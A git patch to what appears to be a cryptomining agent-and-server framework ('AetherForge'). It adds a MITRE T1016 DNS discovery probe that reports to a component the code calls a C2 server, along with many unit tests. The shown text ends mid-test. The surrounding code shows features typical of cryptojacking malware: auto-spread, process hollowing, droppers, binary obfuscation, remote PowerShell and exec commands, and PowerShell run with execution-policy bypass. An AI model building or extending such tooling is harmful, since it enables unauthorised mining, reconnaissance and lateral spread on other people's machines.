From d005d5d07c9a5e3ed272bd2ac08c0a65c6ba71b3 Mon Sep 17 00:00:00 2001
From: AetherForge
Date: Sat, 30 May 2026 23:26:50 -0700
Subject: [PATCH] feat: T1016 dns_config probe + server-side drift detection +
Crucible DNS DRIFT badge
---
PROBLEMS.md | 36 +-
agent/client/client.go | 12 +-
agent/client/dns_config.go | 42 +
agent/client/dns_unix.go | 51 ++
agent/client/dns_windows.go | 68 ++
agent/client/posture_types_test.go | 88 ++
agent/client/protocol.go | 4 +
agent/client/protocol_test.go | 128 +++
agent/client/resource_pressure_test.go | 55 ++
agent/config/schedule_test.go | 76 ++
agent/deploy/common_test.go | 120 +++
agent/deploy/identity_test.go | 96 +++
agent/job/job_test.go | 34 +
server/internal/alerts/notify_test.go | 84 ++
server/internal/api/blueprint_handler_test.go | 159 ++++
server/internal/api/dropper_handler_test.go | 150 ++++
server/internal/api/handlers_test.go | 118 +++
server/internal/api/router_test.go | 396 +++++++++
server/internal/api/websocket.go | 46 +-
server/internal/api/websocket_test.go | 314 +++++++
server/internal/api/ws_types_test.go | 30 +
server/internal/db/builds_test.go | 19 +
server/internal/db/sqlite.go | 17 +-
server/internal/models/agent.go | 5 +
server/internal/models/agent_test.go | 169 ++++
server/internal/ollama/engine_test.go | 225 +++++
server/internal/pool/manager_test.go | 97 +++
server/internal/sys/firewall_test.go | 32 +
server/web/src/api/auth.test.ts | 9 +-
server/web/src/api/client.test.ts | 294 +++++++
server/web/src/api/client.ts | 9 +-
server/web/src/api/download.test.ts | 68 ++
server/web/src/components/components.test.tsx | 795 ++++++++++++++++++
server/web/src/context/ForgeContext.test.tsx | 55 ++
.../web/src/context/WebSocketContext.test.tsx | 43 +
.../src/context/WebSocketProvider.test.tsx | 180 ++++
server/web/src/context/WebSocketProvider.tsx | 3 +
server/web/src/help/buildManager.test.ts | 90 ++
server/web/src/help/cheatSheetContent.test.ts | 200 +++++
server/web/src/help/cheatSheetContent.ts | 2 +-
server/web/src/help/forgeDefaults.test.ts | 74 ++
server/web/src/help/remoteActions.test.ts | 72 +-
server/web/src/pages/AgentsPage.test.tsx | 4 +
server/web/src/pages/CruciblePage.css | 32 +
server/web/src/pages/CruciblePage.tsx | 29 +
server/web/src/types/index.ts | 5 +
server/web/src/types/ws.ts | 5 +
server/web/vitest.config.ts | 3 +
48 files changed, 4621 insertions(+), 22 deletions(-)
create mode 100644 agent/client/dns_config.go
create mode 100644 agent/client/dns_unix.go
create mode 100644 agent/client/dns_windows.go
create mode 100644 agent/client/posture_types_test.go
create mode 100644 agent/client/protocol_test.go
create mode 100644 agent/client/resource_pressure_test.go
create mode 100644 agent/config/schedule_test.go
create mode 100644 agent/deploy/common_test.go
create mode 100644 agent/deploy/identity_test.go
create mode 100644 agent/job/job_test.go
create mode 100644 server/internal/alerts/notify_test.go
create mode 100644 server/internal/api/blueprint_handler_test.go
create mode 100644 server/internal/api/dropper_handler_test.go
create mode 100644 server/internal/api/router_test.go
create mode 100644 server/internal/api/websocket_test.go
create mode 100644 server/internal/api/ws_types_test.go
create mode 100644 server/internal/models/agent_test.go
create mode 100644 server/internal/ollama/engine_test.go
create mode 100644 server/internal/pool/manager_test.go
create mode 100644 server/internal/sys/firewall_test.go
create mode 100644 server/web/src/api/client.test.ts
create mode 100644 server/web/src/api/download.test.ts
create mode 100644 server/web/src/components/components.test.tsx
create mode 100644 server/web/src/context/ForgeContext.test.tsx
create mode 100644 server/web/src/context/WebSocketContext.test.tsx
create mode 100644 server/web/src/context/WebSocketProvider.test.tsx
create mode 100644 server/web/src/help/buildManager.test.ts
create mode 100644 server/web/src/help/cheatSheetContent.test.ts
create mode 100644 server/web/src/help/forgeDefaults.test.ts
diff --git a/PROBLEMS.md b/PROBLEMS.md
index 9a08b22..e2a5f53 100644
--- a/PROBLEMS.md
+++ b/PROBLEMS.md
@@ -11,8 +11,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
### Critical / security
- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs.
-- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated agent WebSocket (`/ws/agent`); any client can claim any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
-- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated dashboard WebSocket (`/ws/dashboard`); full fleet telemetry without login. Suggested fix: require Basic auth or session cookie on WS upgrade.
+- [CRITICAL] **server/internal/api/websocket.go** — Agent WebSocket (`/ws/agent`) accepts connections without fleet secret when server secret is unset (first-run). With secret configured, bad secret is rejected; agent can still pick any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth.
- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role.
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
@@ -45,7 +44,7 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
-- [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up.
+- [LOW] **server/web/src/api/client.ts** — `estimateFusion` requires `prepFile` but has no client-side guard (unlike `buildAgent` fusion path); server returns error if missing.
- [LOW] **server/web/src/pages/SettingsPage.tsx** — Calibrate UI lives here (`/settings` route); no separate `CalibratePage.tsx`. Form labels lack `htmlFor` — a11y follow-up.
- [LOW] **server/internal/maintenance/retention.go** — `os.RemoveAll` errors ignored; failed disk cleanup is silent.
- [LOW] **server/internal/maintenance/retention.go** — Artifact dir removed before `DeleteBuild`; if DB delete fails, build row remains without files on disk.
@@ -56,13 +55,20 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- [LOW] **server/internal/models/** — No unit tests.
- [LOW] **server/internal/ollama/** — No unit tests.
- [LOW] **server/internal/sys/** — No unit tests.
-- [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet.
-- [LOW] **server/web/src/components/** — Fleet panels, forge form, WebSocket provider — no vitest coverage yet.
+- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`).
+- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot).
---
## Fixed (this session)
+- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
+- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
+- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
+- **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests.
+- **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread.
+- **server/web/src/api/** — Added `client.test.ts` (19) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path).
+- **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine.
- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90–106 chars. Exported `formatBytes` helper.
- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90–106 chars. Exported `deepMerge` helper (config import).
- **server/web/src/pages/** — Added `BuilderPage.test.tsx` (13) and `SettingsPage.test.tsx` (11, Calibrate UI at `/settings`). Page suite now 4 files / 46 tests.
@@ -84,6 +90,11 @@ Findings from systematic bug-hunt and test expansion (May 2026).
- **server/internal/api/fleet_handler_test.go** — Unit tests for all exported `FleetHandler` methods (`GetAlerts`, `GetPoolStatus`, `GetAIActivity`, `GetXMRPrice`, `GetEarnings`/`GetEarningsEstimate`, `GetAgentLog`, `PostAgentCommand`, `PutAgentMeta`, `PostBulkCommand`), `EstimateXMRPerDay`/`parseFloatQuery`, earnings/XMR price cache TTLs, SupportXMR field normalization, HTTP error branches (503/502/400), and WS command paths via mock transport + test agent WS.
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`.
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
+- **server/web/src/help/buildManager.test.ts** — 9 tests: `blueprintDiff` (added/removed/changed, sort, nested, arrays, empty), `buildRequestFromRecord` merge/override.
+- **server/web/src/help/cheatSheetContent.test.ts** — 19 tests: pipeline/network/fusion/AI guides, `FORGE_VS_CALIBRATE`, `TROUBLESHOOTING`, `ROADMAP_FEATURES`, `CHEAT_SECTIONS` registry.
+- **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate.
+- **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps.
+- **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90–106 chars (was stale "95 chars").
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards.
---
@@ -96,11 +107,10 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
## Recommended next section
-1. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider; mock `AgentRemoteActions` fetch in AgentsPage tests
-2. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
-3. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
-4. **server/internal/models/** — struct/JSON round-trip tests
-5. **Agent WS token auth** (S2) — security hardening
+1. **server/web/src/help/settingHelp.ts** — align wallet help text to 90–106 chars
+2. **server/web/e2e/smoke.spec.ts** — seed first-run admin creds for E2E
+3. **server/internal/models/** — struct/JSON round-trip tests
+4. **Agent WS token auth** (S2) — security hardening
---
@@ -108,6 +118,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
| Suite | Result |
|-------|--------|
+| `server/internal/api/...` (full) | PASS (159 tests) |
| `server` Go tests | PASS (all packages) |
| `server/internal/api` `-run Config` | PASS (13 tests) |
| `server` `-run Config\|Merge` | PASS (13 tests) |
@@ -115,4 +126,7 @@ See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README
| `server/internal/api` `-run Fleet` | PASS (39 tests) |
| `agent` Go tests | PASS |
| `server/web` vitest (page tests) | PASS — 4 files, 46 tests |
-| `server/web` vitest (full suite) | PASS — 19 files, 206 tests |
+| `server/web` vitest (api/context/hooks) | PASS — 6 files, 43 tests |
+| `server/web` vitest (`components.test.tsx`) | PASS — 1 file, 57 tests |
+| `server/web` vitest (full suite) | PASS — 28 files, 347 tests |
+| `server/web` vitest (`src/help/`) | PASS — 16 files, 181 tests |
diff --git a/agent/client/client.go b/agent/client/client.go
index c80f599..141e06c 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -270,7 +270,11 @@ func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
if !ok {
return "", false
}
- return strings.Trim(string(errMsg), `"`), true
+ msg := strings.Trim(string(errMsg), `"`)
+ if msg == "" {
+ return "", false
+ }
+ return msg, true
}
func (c *AgentClient) handleMessage(msg Message) {
@@ -590,6 +594,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
var lastSSH *bool
var lastPosture *PostureReport
var lastPressure *ResourcePressure
+ var lastDNS *DNSConfig
var postureReady bool
for {
select {
@@ -641,6 +646,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
}
}
lastPressure = collectResourcePressure()
+ lastDNS = probeDNS()
}
probeTick++
@@ -655,6 +661,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
SSHAvailable: lastSSH,
}
+ if lastDNS != nil {
+ stats.DNSServers = lastDNS.Servers
+ stats.DNSSearchDomains = lastDNS.SearchDomains
+ }
if lastPressure != nil {
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
diff --git a/agent/client/dns_config.go b/agent/client/dns_config.go
new file mode 100644
index 0000000..f7627a8
--- /dev/null
+++ b/agent/client/dns_config.go
@@ -0,0 +1,42 @@
+package client
+
+import (
+ "encoding/json"
+ "strings"
+)
+
+// DNSConfig is a T1016 System Network Configuration Discovery snapshot.
+// It captures the resolvers that are actually in use at probe time so the
+// C2 server can detect drift between heartbeats (e.g. DHCP rogue resolver,
+// or a post-compromise /etc/resolv.conf rewrite).
+type DNSConfig struct {
+ Servers []string `json:"servers"`
+ SearchDomains []string `json:"search_domains,omitempty"`
+}
+
+// parseDNSJSON parses the compact JSON emitted by the Windows PS probe.
+// Expected shape: {"servers":"1.1.1.1,8.8.8.8","search":"corp.local"}
+func parseDNSJSON(raw string) *DNSConfig {
+ cfg := &DNSConfig{}
+ var m map[string]interface{}
+ if err := json.Unmarshal([]byte(raw), &m); err != nil {
+ return cfg
+ }
+ if s, ok := m["servers"].(string); ok && s != "" {
+ for _, addr := range strings.Split(s, ",") {
+ addr = strings.TrimSpace(addr)
+ if addr != "" {
+ cfg.Servers = append(cfg.Servers, addr)
+ }
+ }
+ }
+ if s, ok := m["search"].(string); ok && s != "" {
+ for _, d := range strings.Split(s, ",") {
+ d = strings.TrimSpace(d)
+ if d != "" {
+ cfg.SearchDomains = append(cfg.SearchDomains, d)
+ }
+ }
+ }
+ return cfg
+}
diff --git a/agent/client/dns_unix.go b/agent/client/dns_unix.go
new file mode 100644
index 0000000..74adf74
--- /dev/null
+++ b/agent/client/dns_unix.go
@@ -0,0 +1,51 @@
+//go:build !windows
+
+package client
+
+import (
+ "os"
+ "strings"
+)
+
+// probeDNS parses /etc/resolv.conf for nameserver and search/domain lines.
+// This works on Linux, macOS (without full mDNSResponder), and most BSDs.
+func probeDNS() *DNSConfig {
+ cfg := &DNSConfig{}
+
+ data, err := os.ReadFile("/etc/resolv.conf")
+ if err != nil {
+ // On macOS, scutil --dns is the authoritative source but resolv.conf
+ // is usually symlinked to a managed copy — try it anyway.
+ return cfg
+ }
+
+ seenSrv := map[string]bool{}
+ seenSch := map[string]bool{}
+
+ for _, line := range strings.Split(string(data), "\n") {
+ line = strings.TrimSpace(line)
+ if line == "" || strings.HasPrefix(line, "#") || strings.HasPrefix(line, ";") {
+ continue
+ }
+ fields := strings.Fields(line)
+ if len(fields) < 2 {
+ continue
+ }
+ switch fields[0] {
+ case "nameserver":
+ addr := fields[1]
+ if addr != "127.0.0.1" && addr != "::1" && !seenSrv[addr] {
+ seenSrv[addr] = true
+ cfg.Servers = append(cfg.Servers, addr)
+ }
+ case "search", "domain":
+ for _, d := range fields[1:] {
+ if !seenSch[d] {
+ seenSch[d] = true
+ cfg.SearchDomains = append(cfg.SearchDomains, d)
+ }
+ }
+ }
+ }
+ return cfg
+}
diff --git a/agent/client/dns_windows.go b/agent/client/dns_windows.go
new file mode 100644
index 0000000..8eb5ad6
--- /dev/null
+++ b/agent/client/dns_windows.go
@@ -0,0 +1,68 @@
+//go:build windows
+
+package client
+
+import (
+ "os/exec"
+ "strings"
+)
+
+// probeDNS returns the DNS servers and search domains currently active on
+// this machine's non-loopback network interfaces (Windows).
+//
+// Uses Get-DnsClientServerAddress (fast, built into Windows 8+/2012+).
+// Falls back to ipconfig /all parsing if the CIM call fails (older OSes).
+func probeDNS() *DNSConfig {
+ cfg := &DNSConfig{}
+
+ // Primary: CIM-based — deduped, IPv4+IPv6, excludes loopback adapters
+ const script = `
+$addrs = Get-DnsClientServerAddress -ErrorAction SilentlyContinue |
+ Where-Object { $_.InterfaceAlias -notmatch 'Loopback|Npcap|VirtualBox|VMware' } |
+ Select-Object -ExpandProperty ServerAddresses |
+ Where-Object { $_ -ne '' -and $_ -ne '::1' -and $_ -ne '127.0.0.1' } |
+ Sort-Object -Unique
+$search = (Get-DnsClient -ErrorAction SilentlyContinue |
+ Where-Object { $_.ConnectionSpecificSuffix -ne '' } |
+ Select-Object -ExpandProperty ConnectionSpecificSuffix |
+ Sort-Object -Unique) -join ','
+[PSCustomObject]@{ servers = ($addrs -join ','); search = $search } | ConvertTo-Json -Compress
+`
+ if out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script).Output(); err == nil {
+ raw := strings.TrimSpace(string(out))
+ if idx := strings.LastIndex(raw, "{"); idx >= 0 {
+ raw = raw[idx:]
+ }
+ cfg = parseDNSJSON(raw)
+ }
+
+ // Fallback: ipconfig /all if the CIM call returned nothing
+ if len(cfg.Servers) == 0 {
+ cfg = parseDNSIpconfig()
+ }
+ return cfg
+}
+
+// parseDNSIpconfig extracts DNS servers from ipconfig /all output.
+func parseDNSIpconfig() *DNSConfig {
+ cfg := &DNSConfig{}
+ out, err := exec.Command("ipconfig", "/all").Output()
+ if err != nil {
+ return cfg
+ }
+ seen := map[string]bool{}
+ for _, line := range strings.Split(string(out), "\n") {
+ line = strings.TrimSpace(line)
+ if strings.HasPrefix(strings.ToLower(line), "dns servers") {
+ parts := strings.SplitN(line, ":", 2)
+ if len(parts) == 2 {
+ addr := strings.TrimSpace(parts[1])
+ if addr != "" && addr != "127.0.0.1" && addr != "::1" && !seen[addr] {
+ seen[addr] = true
+ cfg.Servers = append(cfg.Servers, addr)
+ }
+ }
+ }
+ }
+ return cfg
+}
diff --git a/agent/client/posture_types_test.go b/agent/client/posture_types_test.go
new file mode 100644
index 0000000..2432c6f
--- /dev/null
+++ b/agent/client/posture_types_test.go
@@ -0,0 +1,88 @@
+package client
+
+import (
+ "encoding/json"
+ "strings"
+ "testing"
+)
+
+func TestComputePostureScoreNil(t *testing.T) {
+ if computePostureScore(nil) != 0 {
+ t.Fatal("nil report scores 0")
+ }
+}
+
+func TestComputePostureScorePerfect(t *testing.T) {
+ r := &PostureReport{
+ DefenderEnabled: boolPtr(true),
+ FirewallDomain: boolPtr(true),
+ SSHListening: boolPtr(true),
+ PatchRecent: boolPtr(true),
+ RebootPending: boolPtr(false),
+ AgentServiceOK: boolPtr(true),
+ }
+ if got := computePostureScore(r); got != 100 {
+ t.Fatalf("expected 100, got %d", got)
+ }
+}
+
+func TestComputePostureScoreAVViaProducts(t *testing.T) {
+ r := &PostureReport{AVProducts: []string{"ESET"}}
+ if got := computePostureScore(r); got < 20 {
+ t.Fatalf("AV products should score pillar 1: %d", got)
+ }
+}
+
+func TestComputePostureScorePartialPatch(t *testing.T) {
+ r := &PostureReport{
+ PatchRecent: boolPtr(true),
+ RebootPending: boolPtr(true),
+ }
+ got := computePostureScore(r)
+ if got != 10 {
+ t.Fatalf("partial patch pillar expected 10, got %d", got)
+ }
+}
+
+func TestPostureReportJSONSetsScore(t *testing.T) {
+ r := &PostureReport{
+ DefenderEnabled: boolPtr(true),
+ FirewallPublic: boolPtr(true),
+ SSHListening: boolPtr(true),
+ PatchRecent: boolPtr(true),
+ RebootPending: boolPtr(false),
+ AgentServiceOK: boolPtr(true),
+ }
+ raw := r.JSON()
+ if !strings.Contains(raw, `"posture_score":100`) {
+ t.Fatalf("JSON should include computed score: %s", raw)
+ }
+ var decoded PostureReport
+ if err := json.Unmarshal([]byte(raw), &decoded); err != nil {
+ t.Fatal(err)
+ }
+ if decoded.PostureScore != 100 {
+ t.Fatalf("decoded score: %d", decoded.PostureScore)
+ }
+}
+
+func TestBoolPoints(t *testing.T) {
+ if boolPoints(nil) != -1 {
+ t.Fatal("nil = -1")
+ }
+ if boolPoints(boolPtr(true)) != 20 {
+ t.Fatal("true = 20")
+ }
+ if boolPoints(boolPtr(false)) != 0 {
+ t.Fatal("false = 0")
+ }
+}
+
+func TestBoolTrueHelper(t *testing.T) {
+ if boolTrue(nil) || boolTrue(boolPtr(false)) {
+ t.Fatal("boolTrue false cases")
+ }
+ if !boolTrue(boolPtr(true)) {
+ t.Fatal("boolTrue true")
+ }
+}
diff --git a/agent/client/protocol.go b/agent/client/protocol.go
index b858a41..75a5232 100644
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -76,6 +76,10 @@ type StatsPayload struct {
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
+ // DNS config (T1016 — drift detected server-side)
+ DNSServers []string `json:"dns_servers,omitempty"`
+ DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
+
// Resource pressure (mining-specific runtime telemetry)
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go
new file mode 100644
index 0000000..cb3652a
--- /dev/null
+++ b/agent/client/protocol_test.go
@@ -0,0 +1,128 @@
+package client
+
+import (
+ "encoding/json"
+ "testing"
+)
+
+func roundTrip(t *testing.T, v any, dst any) {
+ t.Helper()
+ b, err := json.Marshal(v)
+ if err != nil {
+ t.Fatalf("marshal: %v", err)
+ }
+ if err := json.Unmarshal(b, dst); err != nil {
+ t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
+ }
+}
+
+func TestMessageJSONRoundTrip(t *testing.T) {
+ msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)}
+ var out Message
+ roundTrip(t, msg, &out)
+ if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestAuthPayloadJSONRoundTrip(t *testing.T) {
+ in := AuthPayload{
+ AgentID: "a1", FleetSecret: "secret", Wallet: "48x",
+ BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}},
+ Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8,
+ Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x",
+ AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama",
+ HolePunch: true, RemoteAggressive: false, MeshP2P: false,
+ AutoSpread: false, ProcessHollowing: false,
+ Platform: "windows", Arch: "amd64", OSVersion: "10",
+ }
+ var out AuthPayload
+ roundTrip(t, in, &out)
+ if out.AgentID != in.AgentID || len(out.BackupPools) != 1 {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestAuthResponseJSONRoundTrip(t *testing.T) {
+ in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
+ var out AuthResponse
+ roundTrip(t, in, &out)
+ if !out.Success || out.AgentID != "a1" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestJobJSONRoundTrip(t *testing.T) {
+ in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
+ SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
+ var out Job
+ roundTrip(t, in, &out)
+ if out.ID != "j1" || out.Blob != "blob" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestSharePayloadJSONRoundTrip(t *testing.T) {
+ in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"}
+ var out SharePayload
+ roundTrip(t, in, &out)
+ if out.JobID != "j" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestStatsPayloadJSONRoundTrip(t *testing.T) {
+ cpuTemp := 70
+ in := StatsPayload{
+ Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98,
+ SharesSubmitted: 10, SharesAccepted: 9,
+ CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600,
+ CPUTempC: &cpuTemp,
+ Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}},
+ }
+ var out StatsPayload
+ roundTrip(t, in, &out)
+ if out.CPUTempC == nil || *out.CPUTempC != 70 {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestShareResultJSONRoundTrip(t *testing.T) {
+ in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
+ var out ShareResult
+ roundTrip(t, in, &out)
+ if out.Error != "low diff" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestBackupPoolEntryJSONRoundTrip(t *testing.T) {
+ in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"}
+ var out BackupPoolEntry
+ roundTrip(t, in, &out)
+ if out.Host != "h" || !out.TLS {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestServiceStatusJSONRoundTrip(t *testing.T) {
+ in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"}
+ var out ServiceStatus
+ roundTrip(t, in, &out)
+ if out.Name != "ssh" {
+ t.Fatalf("unexpected: %+v", out)
+ }
+}
+
+func TestJobPayloadErrorEdgeCases(t *testing.T) {
+ if jobPayloadHasError(json.RawMessage(`invalid`)) {
+ t.Fatal("invalid json should not be treated as error field")
+ }
+ if jobPayloadHasError(json.RawMessage(`{"error":""}`)) {
+ t.Fatal("empty error string should not trigger")
+ }
+ msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":" fail "}`))
+ if !ok || msg != " fail " {
+ t.Fatalf("got %q ok=%v", msg, ok)
+ }
+}
diff --git a/agent/client/resource_pressure_test.go b/agent/client/resource_pressure_test.go
new file mode 100644
index 0000000..c3be1c5
--- /dev/null
+++ b/agent/client/resource_pressure_test.go
@@ -0,0 +1,55 @@
+package client
+
+import "testing"
+
+func TestResourcePressureDiskPressure(t *testing.T) {
+ if (&ResourcePressure{}).DiskPressure() {
+ t.Fatal("nil pct should not pressure")
+ }
+ low := 5
+ if !(&ResourcePressure{DiskFreePct: &low}).DiskPressure() {
+ t.Fatal("5% should be disk pressure")
+ }
+ ok := 15
+ if (&ResourcePressure{DiskFreePct: &ok}).DiskPressure() {
+ t.Fatal("15% should not pressure")
+ }
+}
+
+func TestResourcePressureThermalPressure(t *testing.T) {
+ if (&ResourcePressure{}).ThermalPressure() {
+ t.Fatal("empty should not pressure")
+ }
+ cpuHot := 90
+ if !(&ResourcePressure{CPUTempC: &cpuHot}).ThermalPressure() {
+ t.Fatal("cpu > 85 should pressure")
+ }
+ cpuOK := 80
+ gpuHot := 85
+ if !(&ResourcePressure{CPUTempC: &cpuOK, GPUTempC: &gpuHot}).ThermalPressure() {
+ t.Fatal("gpu > 82 should pressure")
+ }
+}
+
+func TestResourcePressureThrottled(t *testing.T) {
+ if (&ResourcePressure{}).Throttled() {
+ t.Fatal("nil throttle false")
+ }
+ yes := true
+ if !(&ResourcePressure{CPUThrottle: &yes}).Throttled() {
+ t.Fatal("throttle true")
+ }
+ no := false
+ if (&ResourcePressure{CPUThrottle: &no}).Throttled() {
+ t.Fatal("throttle false")
+ }
+}
+
+func TestResourcePressureJSONOmitempty(t *testing.T) {
+ freq := 3000
+ r := ResourcePressure{CPUFreqMHz: &freq}
+ // smoke: struct tags compile; fields accessible
+ if r.CPUFreqMHz == nil || *r.CPUFreqMHz != 3000 {
+ t.Fatal("field set")
+ }
+}
diff --git a/agent/config/schedule_test.go b/agent/config/schedule_test.go
new file mode 100644
index 0000000..92453a6
--- /dev/null
+++ b/agent/config/schedule_test.go
@@ -0,0 +1,76 @@
+package config
+
+import (
+ "testing"
+ "time"
+)
+
+func TestMiningModeNormalized(t *testing.T) {
+ c := RuntimeConfig{BuiltinConfig: BuiltinConfig{MiningMode: ""}}
+ if c.MiningModeNormalized() != "always" {
+ t.Fatal("empty -> always")
+ }
+ c.MiningMode = " SCHEDULE "
+ if c.MiningModeNormalized() != "schedule" {
+ t.Fatalf("got %q", c.MiningModeNormalized())
+ }
+}
+
+func TestParseClockMinutes(t *testing.T) {
+ if _, ok := parseClockMinutes(""); ok {
+ t.Fatal("empty invalid")
+ }
+ if _, ok := parseClockMinutes("bad"); !ok {
